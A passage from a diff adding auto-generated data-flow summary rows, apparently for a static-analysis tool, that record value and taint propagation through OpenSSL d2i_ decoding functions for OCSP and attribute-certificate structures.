"ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", 